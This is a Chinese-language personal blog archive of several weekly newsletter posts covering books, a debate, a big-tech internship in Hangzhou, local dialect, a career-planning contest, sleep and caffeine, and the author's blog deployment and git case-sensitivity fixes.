在如今这个信息发达的时代,如果要查询这么复杂的资料尚且不容易,更无法想象作者是在那样的年代成书的!

书中展现的是那个时代的知识分子群像。他们不仅满怀爱国之情,也怀揣着对知识殿堂的敬仰,对爱情的忠贞不渝,对艺术、生活一切领域的热情和热爱。

反观现代,「知识分子」作为一个政治术语逐渐被减少使用,而真正的「知识分子」也越来越少了。经济社会的发展带来的专业分工是必然,而大多数人则顺应了这样的专业分工。

我觉得「知识分子」应该是能读更多书,探索更广阔的世界。毕竟,「君子不器」。

📚 本周重读:《人类群星闪耀时》

自我介绍的时候想着安利两本书,翻了翻读过的书的列表,选出了我特别喜欢的两本书:《献给阿尔吉侬的花束》和这本《人类群星闪耀时》。顺便重新读了一下这本书。

《人类群星闪耀时》是「十四篇历史特写」,是一些人类历史上的重要关头,从中真的能够感觉到人类文明的伟大光辉。读的时候往往有一种「颅内高潮」的感觉!

没有哪位艺术家能全天二十四小时创作艺术。那些显赫不朽的艺术杰作往往诞生于艺术家们灵感乍现的难得瞬间。历史亦是如此。

我最喜欢的两篇,一篇是《越洋的第一句话》,一篇是《西塞罗》。

《越洋的第一句话》讲述的是赛勒斯·韦斯特·菲尔德第一次尝试将电缆跨过大西洋,将整个人类连接在一起的故事。他经历了三次失败,最终完成了这一伟大的事业。

要想成就一个奇迹或一项伟业,一个重要的前提条件永远不可或缺:对这一奇迹深信不疑的人。执着者的天真和勇气,往往能富有创造性地促进学者们迟迟不决的计划。

这一刻,他决定倾尽一切身家献身于这项事业中。决定性的火焰就此点燃。一个念头在事实上爆发出爆炸性的力量。一种全新的、奇迹般的电力和强烈而活跃的生命元素——人的意志,紧紧地结合在一起。一个人获得了毕生的使命,而这一使命,也找到了去实现它的人。

从这一刻起,整个地球跳动着同一颗心脏。

《西塞罗》讲述的是罗马伟大的思想家西塞罗,梦想在自己的国家建立民主的制度,然而在自己生命的晚期,遭遇了罗马政变,统治者深感他的思想中蕴含的危险力量,将其残忍杀害。

在这篇的末尾,统治者雇佣的杀手杀害了西塞罗后,将他的头颅砍下,挂在他平日的演讲台上。于是:

然而,在这个演讲台上,任何反对残暴、反对强权、反对践踏法律的演说家的控诉,都比不上这颗沉默的被谋杀者的头颅,对永远不义的暴力的控诉更为意义深远:惊恐的民众拥堵在被亵渎的讲台周围,沮丧、羞愧,瑟缩到一侧。没有人敢于驳斥——**这就是独裁!**然而他们的心却在压抑地抽搐,在被钉在十字架上的共和国的这一悲惨画面前,战栗地垂下眼帘。

🤔 如果你有超能力,可以让你爱的人也爱你,你要不要使用这项超能力?

这是本周看的一场辩论赛:2019 年华语辩坛老友赛第二场 —— 如果你有超能力,可以让你爱的人也爱你,你要不要使用这项超能力?【RUC-Bang VS 萌新下山】

一直觉得作为观众,看辩论赛重要的不是观点,而是双方的讨论引发我们的思考。

本场选手提出了一个「爱上」的定义,很有意思。正方认为是近似随机的参数组合使人产生爱情这种感觉,对某个人怦然心动。这是人无法自主选择的。或许面对一个非常优秀的 TA,我却无论如何都没有感觉;或许对于偶然闯入生活的 TA,虽然不符合之前对于理想型的所有预设,我却无可救药地爱上了。或许之前和 TA 作为普通朋友交往多年,某一天阳光正好,TA 的微笑让我怦然心动。一切的一切都有太多的随机因素。这种随机性,一般称为缘分

在东方和西方的传说中,爱情由糊涂的月下老人和调皮的爱神丘比特决定。正是由于「爱上」这一过程的随机性,传说中塑造的人物形象总是近乎随机作出决策。爱上的感觉不是人的主观意识决定的,而是随机发生的(可以等效为第三方随机决定的),所以说:

爱是自由意志的沉沦。

反方也提出了一些比较有意思的观点,比如爱的珍贵和美好正是源于稀缺性,求之不得,才会寤寐思服。

不过整体看下来,我对这场辩论赛的观赏性是有些失望的。感觉这也是近年的辩论赛普遍的样子:双方选手都拼命地在争定义,着重于逻辑,而对「语言的艺术」不那么重视了。作为观众需要使劲 follow 双方的逻辑,能 follow 上就不错了,很少能产生「拍案叫绝」的感觉。

我心目中体现语言艺术的辩论,最经典的就是这场:【辩论】辩论史上最经典的战役——2001国际大专辩论赛决赛 钱是/不是万恶之源。这场简直百看不厌,特别是自由辩环节,非常精彩。没有复杂难懂的逻辑,只有纯粹的唇枪舌战。其实从逻辑上来说,双方只要争「万恶之源」中「万」一字的定义就好了,然而这样就会很没意思。双方对决的时候不仅争了逻辑,对对方的所有例子都能给出反驳,一些对战真是令人拍案叫绝,极具观赏性。

🧑‍💻 大厂实习初体验(二)

在公司里工作,和自己创造产品,感觉是完全不一样的。

在大厂实习并没有我想象的快乐。以前写代码的时候,觉得创造的过程是很快乐的,技术的结构是很美的,但是在大厂却完全没有这样的感受。每天只是做一个又一个的需求。对于写的代码,我并没有「在创造自己的东西」的感觉,因为产品本来就不是我的。只是这些代码被拿去换成了工资。

在每天的忙碌中,很难找到意义感。

退一万步说,即使有大厂的股票,我也不会觉得大厂或者其产品有我的一部分。因为没有决策权。大厂里就是有太多不合理的东西,我们无力改变。

下周见。

Weekly #7:大厂实习初体验

医药、法律、商业、工程,都是高贵的理想和维生的条件。但是,诗、美、浪漫、爱,才是我们生存的原因。

——《死亡诗社》

🌆 封面图:杭州!

我 ❤️ 杭州

🧑‍💻 大厂实习初体验

本周是在某大厂实习的第一周。这也是我的第一份实习。

实习地点是该厂位于杭州的全球总部,今年新开放的园区,硬件条件真的很不错。整体的建筑设计,包括空间、灯光、窗户之类的各种设计,都给人很舒服的感觉。园区内有大量绿化,除了篮球场、健身房等设施以外,甚至还有个田径场。这个园区希望营造的「校园感」,从硬件设施上来说确实达到了。其中的办公楼,就很像某些大学设计独特的图书馆。

第一次在真正的大厂里工作,接触到了很多我之前不知道的东西。比如,工作的网络环境完全在企业内网中,不管是代码平台还是各种项目管理、行政、文档平台,一切都部署在内网中,不仅 npm 仓库有镜像,甚至 npm 工具本身都有集团专属的 fork 版本。GPT4o 等工具也有集团内网提供的平台可以免费使用。虽然可以申请合法的国际信道,但是我发现工作中几乎用不到境外网路访问,除了偶尔用一下 Google。我们要使用的许多开源库,也有集团内的 fork 版放在内网代码平台。在这里,就像在一个密闭的空间里工作,很少用到外部互联网的资源。(在以前,写任何前端项目的时候,离开 GitHub 和 Stack Overflow 都是无法想象的……)

该厂的 MacBook 普及率高到了我以前无法想象的地步。入职前申请设备的时候我猜想,以 MacBook 的市场占有率来看,选择 MacBook 的人数占比应该不会超过一半,大多数应该还是选择 Windows PC 吧……结果第一次开会的时候,看见所有人使用的都是 MacBook,没有一台其他品牌的笔记本。这着实震惊了我……(我也领到了全新的 M3 Pro 的 MacBook Pro,嘿嘿)

工作,和我之前想象的一样,确实有些累。每天坐在电脑前,高度专注,到了晚饭时间都非常累了,真不知道同事们是怎么如此有精力加班的。一下子从上学期末每天自由快乐学习阅读的生活,转变到现在这样的生活,一时有些过渡不过来。或许还是需要缓慢地去适应。

在步入社会之前,我们所处的所有组织机构,从幼儿园到小学、中学、大学,存在的目的都是为了我们,学校都是为了「培养学生」这一目的而存在的。而公司企业,则是我们第一个真正接触的,目的不是为了我们的地方:客户和经济效益才是它们的目的。想起来高中班主任有一次说道:「你们现在在上学,生病了还有人嘘寒问暖,我们上班的生病缺勤一次,全勤奖就没啦!」确实,离开了学校,没有任何社会机构为我们存在、为我们负责了。虽然还未遭遇真正的危机和挫折,但是离开象牙塔的这种感觉已经让我有所感触。

在一个新环境里,也忍不住幻想自己的未来。还是很喜欢该厂招聘网页的那句 slogan:

一起打开有意思的未来!

我不是来混一口饭吃的。我真的很希望做一些有意思的事情,遇到有意思的人,开启有意思的未来。希望有这样的地方,能满足我的愿望。

🏙️ 去(回)杭州随想

杭州是我的「第二故乡」。高中的我在这里度过了三年多的时光。我觉得这次我来到杭州,用上期标题里的「去(回)杭州」来描述很贴切。既是回到曾经的城市,也是奔赴新的生活。

上期提到了,回到杭州,我惊讶于杭州居然新开通了这么多条地铁线路。三年前,还没有杭州西站,还没有 19 号线,每次开学从杭州东站到达杭州,都要坐公交车去学校。现在,19 号线连通杭州东站、杭州西站、萧山国际机场,还经过我们中学附近的文三路站,可以在沈塘桥站换乘 2 号线。而沈塘桥站的商业街也不见了,变成了一个很大、很空旷的换乘站。

周末回到文三路,去逛了曾经生活过的地方。许多地方还在,许多地方不见了。全家 FamilyMart 不开了,打印店变成了社区服务中心,酒店变成了写字楼……三年时光如弹指一挥间,令人感慨。

这次回杭州,还有一个直观的感受:(和长沙相比)**杭州的物价真高!**周末在屋子里点外卖,发现一餐居然基本都要三十多元,和肯德基麦当劳的日常价差不多了。大多数的商家处于这样一种情况:价格正好处于让我心痛的价格。如果价格更低一点,我下单的时候就不会心痛了;如果价格更高一点,我就不会想吃,不会下单也不会心痛了;而它们正处于这个尴尬的价格:既没有高到让我不想吃,又没有低到让我不犹豫。所以,在杭州点外卖,总是很心痛的。😭

虽然都说杭州是「美食荒漠」,但是我其实特别喜欢杭州的几家连锁餐饮品牌:外婆家、绿茶、炉鱼、新白鹿、老娘舅等等。但是,它们的价格似乎都处于上述的「心痛价」……

实习一周的感受:

  1. 上班好累 😭 感觉身体被掏空
  2. 杭州物价好高 😭 感觉钱包被掏空

网友锐评精选:

杭州赚钱杭州花,一分别想带回家。

以及科普一个新发现的冷知识:「杭州学军中学」这个名字究竟是哪里来的?高中的时候就一直很好奇。现在查了 Wikipedia 才知道,文革期间的 1966 年 5 月 7 日,毛泽东发出《五七指示》,其中提到:「军队应该是一个大学校……这个大学校,学政治,学军事,学文化……学生也是这样,以学为主,兼学别样,即不但学文,也要学工、学农、学军,也要批判资产阶级。学制要缩短,教育要革命……」为了响应这个指示,杭州现在的文一路、文二路、文三路,当时分别改名为「学工路」、「学农路」、「学军路」。处于学军路(文三路)的当时的杭州大学附属中学,即更名为杭州学军中学。改革开放后,文一路、文二路、文三路的路名改了回来,而学军中学的校名却延续至今。

🛠️ 关于高考「技术」这门学科

众所不周知,浙江的新高考,除了语文、数学、英语、物理、化学、生物、政治、历史、地理这九门传统的学科以外,还有一门浙江独有的学科,叫做「技术」。选考是七选三,我当年选的就是物理、化学、技术。

这门学科其实分为通用技术(General Technology,GT)和信息技术(Information Technology,IT)两门,每一门各占 50 分,合计 100 分。

我们当时信息技术的考点包括:Word 字处理、Excel 表处理、Access 数据库、Flash 动画制作,GoldWave 音频处理,以及 Visual Basic 编程(我们下一届改为了 Python)和一些简单的算法与数据结构。

通用技术的考点包括:金属、木材加工工艺、焊接、画草图和三视图、控制论常识等。

在高中学习这些,可以说是遥遥领先了。进入大学发现许多东西在高中「技术」课上都学过了,比如小学期实训的焊接、数据库课程的各种概念。如果学的是机械或者土木一类的专业,通用技术学的金工木工和草图、三视图一定也能派上用场。

仔细想想,高中学的其他所有学科,基本都是「科学」。数学、物理、化学、生物、地理这类自然科学不必说,即使政治、历史这两门也是社会科学(只是高考基本靠背诵,没有体现什么科学方法)。所谓科学,就是探究这个世界的运行原理。

「科学技术」两个概念,这些学科都只涉及前者。为什么很少涉及技术呢?我认为一个很重要的原因是:技术更新迭代的速度太快。例如信息技术这门学科:关于 Flash 的这些教材才刚刚普及开没几年,就被彻底淘汰了……

之所以「技术」尤其是信息技术这门课只特供于浙江省,我觉得或许和「共同富裕示范区」有关。以前我们一直自嘲衢州是「浙江的西藏」,是全省经济最弱后的地方;然而,从小到大,即使在外婆家的乡下,我也没见到特别贫困的生活。反而经济的高速发展给我们家带来了机会。然而,上了大学,将眼界放大至全国,我才真正认识到原来居然中国居然有这么穷的地方,人们连用上电脑都很困难,更别提将信息技术纳入高考了。所以,生在浙江,我真的很幸运。

📝 希望把 Weekly 坚持下去!

**我不希望生活只是无意识流过的时间。**我希望自己每天的生活在时间里留下印记。这是思考为什么要写 Weekly 的时候,我现在脑海里蹦出的第一个想法。

各种新奇的想法和思考,都是在闲暇生活中产生的。一个过于忙碌的人,每天被按部就班的事项排满,是很难迸发灵感、发挥创造力的。我不希望自己过上每天「感觉身体被掏空」的生活,除了工作就是视频娱乐的生活,一个月只有发薪日感觉快乐的生活。我不希望被「卷入」工作。我也希望追求生活里其他值得追求的东西。

每周写的 Weekly 可以作为见证。

下周见。

感谢订阅。Thank you for subscribing.

订阅成功。该 RSS 源显示最近发布的 20 篇文章。当有新文章时,RSS 源会及时更新。

Subscription Successful. This RSS feed displays the 20 most recent articles. It will update promptly when new articles are published.

前往文章归档页面即可一览全部文章。

Visit the Archive page to view all articles.

感谢 RSS 这个伟大的发明,用开放的标准将互联网连接在一起。

Thanks to the great invention of RSS, which connects the internet using open standards.

Weekly #25:方言才是我真正的母语

🌇 封面图:信安湖游船

信安湖游船

💬 方言才是我真正的母语

回到老家,我和父母、亲戚都会用方言(衢州话)交流。

我现在觉得,方言才是我真正的母语。尤其是很多方言的表达,在普通话里都是不存在的。我虽然不知道这些词汇怎么写,但每次说起来都倍感亲切。由于用普通话说不出对应的词汇,这就成了无法向外乡人说的话语,成了同乡之间才可意会的表达。

衢州话是吴语的一种。冷知识:Wikipedia 有吴语版本:wuu.wikipedia.org。在这里我第一次看到许多方言用语的书面写法,例如「的」发音为「ge」,居然真的写作「个」;「非常」我们说「jiao gua」,写作「交关」。很有意思!

然而方言也普遍「碎片化」。南方地区方言的一个显著特点是「五里不同音,十里不同调」,连我所在的衢州下辖的一个县级市「江山市」,来自那里的高中同学说的方言,我都完全听不懂。即使是我所掌握的衢州话,也有两个版本:城里的版本和农村里的版本。两种版本在许多词汇上有所差异。我外公外婆说的是农村里的版本,我爷爷奶奶说的是城里的版本。(我妈妈年轻时从农村来到城里,还因为说农村版本的衢州话而受歧视)

所以方言会消失吗?方言基本作为一种口头语言,很难被充分用文字记载下来;方言的碎片化特点意味着每种方言的使用人数并不算特别多;而随着人口流动,普通话的大量普及,我觉得许多方言的失传似乎是必然的趋势。这非常可惜。

记得《繁花》的演员在采访中提到,用上海话表演和用普通话的感觉是完全不一样的。上海话才是上海人的母语。如果在他乡遇到同说同种方言的老乡,那会是多么亲切!

🌍 适合个人网站的全球加速解决方案

本周我正在开发的全新博客系统已经基本完成。关于这个博客系统的细节,包括设计、实现过程中的一些思考,我可能会通过系列博客文章单独分享。(貌似画的饼越来越多了 😓)

关于网站的部署方案,也经历了很多探索:

TL;DR:阿里云 DNS 按地区分流。

  • 网站部署 skywt.cn:
    • 境内:腾讯云部署 + 多吉云 CDN
    • 境外:Vercel
  • 对象存储 os.skywt.cn:
    • 境内:腾讯云部署 MinIO + 多吉云 CDN
    • 境外:Cloudflare R2

最核心的问题是:为了保证我自己对网站的访问速度,我的服务器在境内(腾讯云),域名进行了备案;而对于海外用户或者开了代理的用户来说,访问速度会很慢。针对境内和境外的两种流量,必须有一种解决方案,能够保证两者的访问速度,并且前提是不用花太多钱。

首先,为了区分境内和境外的流量,使用阿里云 DNS 进行分流,可以针对境内、境外线路分别设置解析记录。

对于境内访问,国内云厂商的 CDN 都是不错的选择。其中,又拍云和多吉云提供了不少免费额度。最终我选用的是多吉云。

对于境外访问,则比较复杂。能否依然使用国内 CDN 平台呢?各大平台国际加速都非常昂贵,且分区过于详细(北美区、南美区、欧洲区……),对于我们的网站来说没有必要。能否使用境外 CDN(如 Cloudflare)回源到国内网站呢?答案是不行,国外 CDN 回源境内服务器涉及数据跨境访问,回源时会被腾讯云以「未备案」为理由拦截。因此,只能在境外再部署一套前端。由于新的博客系统是用 Next.js 开发的,最终我还是选了 Vercel。

为了保证数据的同步一致,二者连接的数据库,都选择部署在腾讯云服务器上的 Supabase。(或许之后可以考虑使用 Supabase 官方免费实例,并与腾讯云自部署 Supabase 同步,不过这就有点像分布式数据库了 😅)

除此之外,我还在腾讯云上搭建了 MinIO,作为对象存储,用于图床和文件附件等。在境内,这也由多吉云加速;但在境外,还是无法使用 CDN。我的解决方案是使用同样有免费额度的 Cloudflare R2,一份文件在两个地方分别存储。

(对了,如果你想提前体验一下 👉 daydreamer-next.vercel.app。欢迎锐评)

💡 TWIL:Git 文件系统大小写不一致问题

macOS 和 Windows 的文件系统一般默认都不区分大小写,而 Linux 广泛使用的文件系统基本都默认区分大小写。使用 git 同步代码时,在某些情况下,这会导致诡异的大小写问题。

例如本周遇到的:macOS 本地文件夹名是 Footer,GitHub 上的却是 fotoer,这导致在 Vercel 上构建时,所有代码中包含 Footer 路径的引用全部失败,无法构建。最关键的是 git 认为仓库是完全同步的。感觉就像是见鬼了 👿。猜测产生这种现象的行为是:一开始文件夹名为 footer,后改名为 Footer

解决方案一

git config core.ignorecase false

对于已经出现此问题的项目,更改该设定后可能出现更加诡异的情况,例如本地只包含 Footer,远程包含 Footerfooter 各一份 😇。因此,最好再结合以下方法:

解决方案二

在区分大小写的文件系统中(别的 Linux 主机,或 GitHub 在线 IDE)将文件名修正,然后在本地重新 clone。这是最简单的方法。

解决方案三

格式化磁盘或重装系统时,选择区分大小写的文件系统 😡。下次重装系统一定要注意。

解决方案四

一切文件名统一使用小写命名。UserMenu 组件命名为 user-menu.tsx。组件库 shadcn/ui 就是这么做的。这是长久而言最为保险之计。

📚 本周在读:《关于说话的一切》、《平面国》

  • 关于说话的一切》:从本质上介绍「说话」这一行为。比较硬核,但读起来感觉醍醐灌顶。还没读完,之后再详细分享。
  • 平面国》:描述了一个二维国家的世界观。二维世界的人物无法理解「一维世界的人无法想象二维世界」这件事情,但他们自己也无法想象三维世界。身处三维世界的我们亦如是。作为 19 世纪的作品,除了在科幻概念上的先进性,本书还对二维平面国的政治形态进行了辛辣而真实的讽刺。

🌟 Bookmarks

Articles:

Blogs & Books:

Cool Sites:

Tools:

下周见!

Weekly #24:职规大赛历险记

本周回学校参加了「湖南省第二届职业生涯规划大赛」,一周都在忙这个事儿。

🌇 封面图:后湖烟花

后湖烟花

虽然最近新加了一块「禁止燃放售卖烟花」的告示牌,但后湖售卖烟花的小摊小贩仍然不少。每天路过都能看到烟花绽放。

这或许就是属于长沙的松弛感 😎。

🤵 职业生涯规划大赛

TL;DR:如果你所在的学校对该比赛没有激励政策(如竞赛保研),强烈不建议浪费时间参加这个比赛。快跑!

  1. 没有任何激励。无奖金。无奖品。甚至连荣誉证书都没有打印。
  2. 这是 PPT 演讲比赛,并不是职业生涯规划比赛。真正有能力的人,玩不过那些专门搞演讲、专门搞 PPT 的人。
  3. 这是一个非常「体制内」的赛事。例如,可能需要依靠学校相关领导的「运作」,答辩需要有较强的说「场面话」的能力。

之前阴差阳错地被辅导员拉过来参加了这个比赛,为了帮她完成「上面派下来的指标」。本以为做个 PPT 交了就好,没想到通过了网评,得代表 HNU 参加省赛。在报销车票的承诺下,本已经回家的我,又回到长沙待了一周,准备参加这个比赛。😇

我参加的是「就业赛道本科组」。赛制是 PPT 演讲 6 分钟,需要全程脱稿 😰;评委提问答辩 7 分钟。需要提交的材料包括 PPT 和个人简历。

做出符合这种比赛风格的 PPT,是我从未尝试过的挑战。大一参加的大创项目由于经费不足草草收尾,之后再也没有参加过类似的比赛。之前做过的 PPT,基本都是学术风课程汇报 PPT,最喜欢的配色是白底黑字,最喜欢的字体是 Times New Roman 和宋体……好在曦姐(我的辅导员)有着丰富的做 PPT 经验。在经历了小红书上买了 N 个模板并缝合、找 PPT 设计公司外包制作某些页(¥300 / 页 😰)之后,一个炫酷的 PPT 终于诞生!

学到的一个 tips:PPT 最麻烦的是字体问题,特别是这种需要一定效果的 PPT,需要安装很多艺术字体,而大赛演讲时使用的电脑环境多半是没有的。一个通用的技巧是:将 PPT 转为图片版,即将每一页 PPT 内容都转为图片,再组合成一个 PPT。可以在 PowerPoint 内导出为 JPEF 或 PNG,然后使用 WPS 中「插入图片到多个幻灯片」功能,制作图片版 PPT。

在《Weekly #14:做 PPT 相比 coding 的痛苦之处》中我就提到了,我超级讨厌 PowerPoint 这样的工具,因为它们的表达能力相比代码差远了,使用起来非常痛苦。这次制作这么复杂的 PPT,我再一次有同样的感受。经常出现多个元素重叠,想要选择下面的元素,点击却选择了上面的元素;如果将上面的元素移开,则又破坏了精心调整的对齐关系……啊!实在是太痛苦了!!!

网上找到的 PPT 模板,以及企业做出的 PPT 成品,都有些很奇怪的现象:有的将元素进行了很混乱的组合,有的能将一大堆元素重叠起来(几乎是无法手动编辑的状态)……我严重怀疑他们专业做 PPT 的企业,是不是用了什么更高端的工具,然后将成果转换为 PPT 格式的。

成品预览(码了,要脸):

PPT 首页

卡着点提交了 PPT,下一个挑战是:要全程脱稿演讲,并且演讲时基本不能看 PPT 😰(背对着屏幕)。花了一下午和一晚上确定了稿子,又花了一下午和一晚上对着 PPT 脱稿排练,最后总算达到了比较熟练的状态。已经很久没有背这么长的文字了……

本次比赛的评委提问都比较尖锐。在候场室观赛时,有选手介绍了多项项目经历,评委就问道:「这个项目你负责了多少?你现在是大三,也就是 2022 年入学的。我查了你的项目 2023 年 X 月份就结项了,也就是说你大一就主导了这个项目?」而在我前面答辩的一个女生的职业目标是财务领域,随口说了一句和区块链有关的项目,被问「区块链是什么」,支支吾吾答不上来。据说,许多选手的项目经历存在包装的成分……

我自己现场的发挥(我自认为)还是不错的,演讲部分没有卡壳,答辩部分发挥得也尚可。幸亏我的项目都是自己的,被问到也能答出个所以然。尤其是观察了前几位答辩支支吾吾的表现,我的答辩环节自信了很多。

第一位提问的评委似乎是湖大的老师或领导(事后老师告诉我),问我「学校能带给我什么资源」。我对这个问题并没有准备,回答的大概意思是校友、老师、科研平台等资源。赛后老师告诉我,这位评委其实是在递话,他想让我说的是 HNU 依托国家超算中心之类的平台,想要借此拔高一下 HNU,结果我并没有 get 到……这就是我所缺乏的说「场面话」的能力 😇。

🎒 大学辅导员的工作日常

这周接触得很多的就是辅导员。带我参加比赛的超会做 PPT 的曦姐,当班导时就接触过的同为 INFJ 的刘王老师,咱们的辅导员标准 P 人冯导,以及隔壁工管院的活力满满的在工作之余还同时运营着自媒体搞点副业的韦子夏老师 @夏与葡萄园 等等。感觉辅导员也是很有意思的职业。

辅导员是所有学生的负责人,我们平时有事都会去找他们。然而,有时他们也会和我们一样经历焦虑、迷茫、无助。其实之前当班导的时候我也有类似的感受:「遇到了困难希望有大人过来帮忙解决」-「意识到自己就是那个大人」……让我印象最为深刻的就是某一晚,某个学生的「突发情况」,不仅让刘王老师不得不加班做工作,还面临了一些两难的抉择。如果是我,也一定会备感压力。

他们也会有同事之间的不愉快,有时作为体制内的角色也会身不由己。

当然,网络舆论有时并不善待辅导员这一群体,因为某些学校的某些辅导员(或者其实是校领导)的所作所为确实令人不愉快。我认为本质上是制度没有有效约束辅导员的权力。

而很幸运的是,我遇到的辅导员都是很好的人。

下周见~

Weekly #23:2025,出发

🌆 封面图:2025 的第一次日出

2025 的第一次日出

📑 Weekly 复刊词:吾一周一省吾身

人必须不断地、周期性地审视自己。这种审视必须通过外化表达的方式才能完成,也就是写作。

而一周是较为合适的时间单位。一周是一年的 2%,是一生的1/4000。如果你把一年,甚至一生的每一周画到一张纸上,每个格子代表一周,你会发现原来这么少。《四千周》这本书就送了一张这样的格子纸。长期来看,以周为单位计算时间流逝的长期进程,非常适合量化。而一周(一般来说)有工作日和休息日,也能给我们足够的自由时间。

虽然我平常一直活跃在 Twitter,但这毕竟是个短文平台,字数限制让人无法进行长文输出与深度思考(除非开 Premium)。因此,我依然在我的博客进行每周回顾。

上一期 Weekly #22 终结于2024 年 10 月 20 日,后来的两个多月都没有更新。其实是因为 22 周之后我开始旅游,去了广州、深圳、香港玩,后两周断更了。而一个习惯一旦经历了两次放弃,就会迎来可怕的习以为常,导致一直拖更到现在……

正好,这也是 2025 的第一周。我确定了两件往往「重要而不紧急」的事,需要长期坚持:阅读和周记。阅读是输入,周记是输出。如果我能坚持写一年的周记,那就太酷了。

🎯 我的 2024,我的成长

过去的 2024 年,我觉得我感受到的一个主题是:「成长」。

回想 2024 年年初的我,当时的自己对未来一片迷茫,还在想着或许考研,但明明内心非常不愿意,这只是在逃避对未来选择的思考。当时的自己甚至还没开始考虑和了解未来其他的可能性。因为在 HNU 大量平庸而无聊的同学身上,很难看到其他可能性。

这一年经历的事情可真多:

  1. 决定不读研。下定决定后,一切都豁然开朗。
  2. 人生的第一份大厂实习。
  3. AdventureX。👉 Weekly #9:AdventureX —— 热爱为主,搞钱为辅
  4. 旅游。西安、南昌、杭州、上海、武汉、广州、深圳、香港、浏阳。
  5. 开始将 Twitter 作为主力的社交平台。从零开始涨到将近 3k fo。Connect 了不少很有意思的朋友。
  6. 春招&秋招。面试、刷题、背八股。
  7. 签订三方。毕业去向基本尘埃落定。

经历了这一切,现在的自己,已经是个完全不同的人了。无论是对职业、行业、技术、社会的理解,还是社交能力,相比 2024 年初的自己,都有了进步。

相比 2024 年以前基本都在学校「上课、学习」的循环,今年尝试了很多新事物,也认识了很多新朋友。正是这一切拓展了我对未来想象的边界,让我看到更多可能性。所以,2024 给我带来的「成长」相较以往更为显著。

之前在学校里的时候我会想:我们的时光一周一周地逝去,留下了什么呢?这一切有什么意义呢?这也是我开始写 Weekly 的初衷:希望时光留下印记。现在我发现,这些逝去的时间留下的最大的意义就是「成长」。我们的时间是我们最宝贵的资产,而「成长」就是对未来的投资。

2025,希望我能持续「成长」。

☕️ 告别「咖啡因崩溃」

暑假在某厂实习的时候,经常临近晚饭时间我都会突然感觉非常累——不仅是心理上有一种有些崩溃和绝望的情绪,身体上也会感觉腰酸背痛。本周偶然的一天睡眠不足,早上的咖啡和一整天的 coding,让我在下午复现了这种感觉。

现在才知道,这种感觉可能是「咖啡因崩溃」引起的。

人体内的腺苷是引起困意的因子,腺苷与受体结合让人犯困。人清醒的时间越长,积累的腺苷越多;而充足的睡眠则会清除腺苷,将其含量降低到很低的水平。

咖啡因的作用原理则是阻止腺苷与受体结合,但并不会减少腺苷的量。因此,传统说法里说「咖啡能够提神」其实有误导倾向。待咖啡因经过8小时左右被代谢,和受体结合的腺苷数量会在短时间内大量增加,使人反常地进入劳累状态。这就是「咖啡因崩溃」。回想之前实习的时候,我几乎每早都在麦当劳喝咖啡,而睡眠时长没有得到保证,加上一些工作压力,导致频繁发生的「咖啡因崩溃」。

这些源于《我们为什么要睡觉》这本书。本书深深改变了我的睡眠观,非常推荐!书中还指出:咖啡因是人类有史以来被无监管地滥用得规模最大的精神兴奋剂。如果你需要咖啡因才能让自己达到最佳状态,这说明你的睡眠不足。

咖啡因不是一种保健品。相反,它是世界上使用最广泛的(被滥用的)精神兴奋剂。它是全球第二大贸易商品,仅次于石油。咖啡因的摄入代表了有史以来针对人类进行的历时最久、规模最大的无监管药物研究之一,也许只有酒精能与之匹敌,而且现在仍是如此。

2025,让我们告别咖啡因,好好睡一觉吧。

⚙️ Daydreamer 1.0 的失败之处

我目前运行的这个基于 Astro.js 的博客系统,我命名为 Daydreamer,开源在 GitHub。大概完成于一年前。最后一次功能上的更新是在 7 月,之后就基本没有较大的维护。

现在看来,Daydreamer 的设计是有诸多失败之处的。

首先是技术选型上。由于当时对 Node.js 后端生态较为狭隘的认识,后端选择了几乎停止维护的 Koa.js 和较为过时的 TypeORM,这两项现在看来都是较为失败的选择。TypeORM 年久失修,各种奇怪的 bug 一大堆;Koa.js 也长久缺乏维护,生态匮乏。

前端的技术选型也一言难尽。选用了 Sass 并大量使用 mixin,现在看来都不如直接使用 CSS 变量方便。基于此封装的组件库 DayDesign,也继承了这一失败的设计。由于我倔强地不愿意使用任何组件库,而是选择自己实现所有组件,而我又缺乏相关经验,导致前端组件里充斥着大量不合理的抽象和大量不优雅的实现。很多知识都属于「你不知道你不知道」的类型,经验是需要慢慢积累的。

使用 Astro.js 也是非常不合适的选择。我做的明明是一个前后端分离的博客系统,对于获取博客文章都有明确的 API,但我却选择了使用 Astro.js 这一以 SSG 为主的框架,选择在构建时请求 API 获取所有文章,静态生成网站。构建的过程发生在 GitHub Action 的 runner 里,后端则部署在境内腾讯云服务器上,间歇性的网络问题和构建时较高的并发,经常带来麻烦。(尽管如此,Astro.js 本身是一个很好用的框架,我很喜欢)

这也导致了极其怪异的文章发布流程:写好一篇文章后,我要在数据库里插入这条记录(是的,没写后台,直接在数据库里发文章 😂),然后上 GitHub Action 重新构建,等几分钟构建完毕后(产物会在 pages 分支)再在我的服务器上 pull 下 pages 分支的文件,这才完成了网站内容的更新。无论是新发布一篇文章,还是更新友链,凡是更新任何内容(除了评论区),都要重复这样的构建流程。这实在不是一个很好的实践。

设计上也有不少不满意的地方,比如过大的 navbar、缺乏动效,等等。

除此之外,这个系统并没有自带图床。我直接将之前使用的 Typecho 博客系统(blog.skywt.cn)文章编辑时的图片上传功能临时当作图床来用,结果一「临时」就用了一年。这导致这期间发布的文章里所有的图片都来自域名 blog.skywt.cn……

我喜欢折腾的心永远不愿意停歇。因此,几乎每年,我都会重新设计和开发自己的网站。现在我在基于 Next.js 写一个新的博客系统,或者我更喜欢称之为「个人 CMS」。暂定名为 Daydreamer Next。汲取了上述教训,我希望新的设计尽可能优美。使用了 Supabase 和 MinIO,有完整的图床、管理面板,将会支持多语言、SSO 登录,以及更多好玩的功能。Coming soon~

🌟 Bookmarks

大家的 2024 总结:

🎆 新年快乐。下周见!

Weekly #22:每个人都天生不同

20 多岁的大好年华,可以做一些非同寻常、稀奇古怪、大胆冒险、不可理喻、疯狂愚蠢、无利可图、看起来与「成功」不沾边的事。在余生里,这些经历将成为你的灵感缪斯。

—— 凯文 · 凯利《宝贵的人生建议》

🌆 封面图:秋天的午后

封面图:秋天的午后

咱们 HNU 图书馆真是古色古香!

🔐 切换到 Apple Passwords

iOS、iPadOS、macOS 的最新版本,将之前集成在系统里的密码管理器做成了独立的 App,功能已经比较完善,支持 OTP、Passkey 和完美的自动填充,iCloud 同步。

于是,本周我将主用的密码管理器从 BitWarden 换到了 Apple Passwords。

